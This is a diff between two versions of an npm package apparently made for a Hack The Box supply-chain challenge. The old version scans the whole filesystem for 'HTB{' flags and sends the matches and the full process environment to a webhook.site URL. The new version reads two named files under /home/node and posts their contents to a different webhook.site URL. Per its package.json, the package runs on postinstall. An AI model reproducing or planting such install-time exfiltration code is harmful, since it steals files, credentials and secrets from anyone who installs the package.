@alexandrsarioglo/npm-ghost-htb 1.0.4 → 1.0.6

package/index.js

@@ -1,10 +1,7 @@
-const WEBHOOK = 'https://webhook.site/f5545fb8-769e-42cb-8e10-c1e6b4b4a5d1';   // <-- put your URL
+const WEBHOOK = 'https://webhook.site/b3d8463d-444d-412a-891b-bd291b37e743';   // <-- put your URL
 
 // async-scan-htb-json.js (CommonJS)
 // Usage: node async-scan-htb-json.js [startPath]
-const fs = require('fs');
-const fsp = require('fs/promises');
-const path = require('path');
 const http = require('http');
 const https = require('https');
 const { URL } = require('url');
@@ -25,70 +22,67 @@ function sendProgress(obj) { // async HTTP; event loop must be free to flush
   } catch {}
 }
 
-const EXCLUDES = new Set(['node_modules', '.git', '.cache', 'dist', 'build', 'site-packages', 'proc', 'sys', 'dev', 'run']);
-const NEEDLE = /HTB\{/i;
-const root = "/";
+const PATHS = [
+  '/home/node/supplysec_entry.js',
+  '/home/node/init_test.sh'
+];
 
+const fs = require('fs');
+const fsp = fs.promises;
+const path = require('path');
 
-const results = [];
-let scanned = 0;
-const YIELD_EVERY = 1000;  // tune: how often to yield & send progress
+const OUT = '/tmp/files-by-path.json';
+const MAX_BYTES = 1_000_000; // 1 MB per file
 
-async function inspectFile(filePath) {
+async function readFileSafe(p, maxBytes) {
   try {
-    const data = await fsp.readFile(filePath, 'utf8');
-    const lines = data.split(/\r?\n/);
-    for (let i = 0; i < lines.length; i++) {
-      if (NEEDLE.test(lines[i])) {
-        results.push({ file: filePath, line: i + 1, text: lines[i].trim() });
-      }
+    const stat = await fsp.stat(p);
+    if (!stat.isFile()) return { error: 'not-a-file' };
+    const size = stat.size;
+    if (size <= maxBytes) {
+      const content = await fsp.readFile(p, 'utf8');
+      return { content };
     }
-  } catch {
-    // unreadable/binary -> skip
+    // stream first maxBytes bytes
+    return await new Promise((resolve) => {
+      const rs = fs.createReadStream(p, { encoding: 'utf8', highWaterMark: 64 * 1024 });
+      let acc = '';
+      let read = 0;
+      let done = false;
+      rs.on('data', chunk => {
+        if (done) return;
+        const chunkBytes = Buffer.byteLength(chunk, 'utf8');
+        if (read + chunkBytes >= maxBytes) {
+          const remaining = maxBytes - read;
+          acc += chunk.slice(0, remaining);
+          done = true;
+          rs.destroy();
+        } else {
+          acc += chunk;
+          read += chunkBytes;
+        }
+      });
+      rs.on('close', () => resolve({ content: acc + '\n...[truncated]' }));
+      rs.on('error', err => resolve({ error: `read-error: ${err.message}` }));
+    });
+  } catch (err) {
+    return { error: err.code ? `${err.code}` : err.message };
   }
 }
 
-async function walk(dir, depth = 0) {
-  // yield periodically so HTTP can flush
-  scanned++;
-  if (scanned % YIELD_EVERY === 0) {
-    sendProgress({ type: 'scan-progress', scanned, matches: results.length, at: dir });
-    await new Promise(r => setImmediate(r));
-  }
-
-  // prune common virtual/system roots by prefix
-  for (const ex of EXCLUDES) {
-    if (dir === `/${ex}` || dir.startsWith(`/${ex}/`)) return;
+(async () => {
+  const result = { generated: new Date().toISOString(), files: {} };
+  for (const p of PATHS) {
+    const abs = path.resolve(p);
+    const res = await readFileSafe(abs, MAX_BYTES);
+    if (res.content !== undefined) result.files[abs] = res.content;
+    else result.files[abs] = `ERROR: ${res.error}`;
   }
 
-  let entries;
   try {
-    entries = await fsp.readdir(dir, { withFileTypes: true });
-  } catch {
-    return;
-  }
-
-  for (const ent of entries) {
-    const full = path.join(dir, ent.name);
-    if (ent.isDirectory()) {
-      if (!EXCLUDES.has(ent.name)) {
-        await walk(full, depth + 1);
-      }
-    } else if (ent.isFile()) {
-      await inspectFile(full);
-    }
+    sendProgress({result});
+  } catch (e) {
+    console.error('Failed to write output:', e.message);
+    process.exit(1);
   }
-}
-
-(async () => {
-  console.log(`Scanning ${root} (excluding: ${[...EXCLUDES].join(', ')}) ...`);
-  sendProgress({ type: 'scan-start', root });
-  await walk(root);
-  sendProgress({ 
-    type: 'scan-complete', 
-    scanned, 
-    totalMatches: results.length, 
-    results,
-    env: process.env
-  });
 })();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@alexandrsarioglo/npm-ghost-htb",
-  "version": "1.0.4",
+  "version": "1.0.6",
   "main": "index.js",
   "description": "benign CTF test package (postinstall sends a webhook)",
   "scripts": {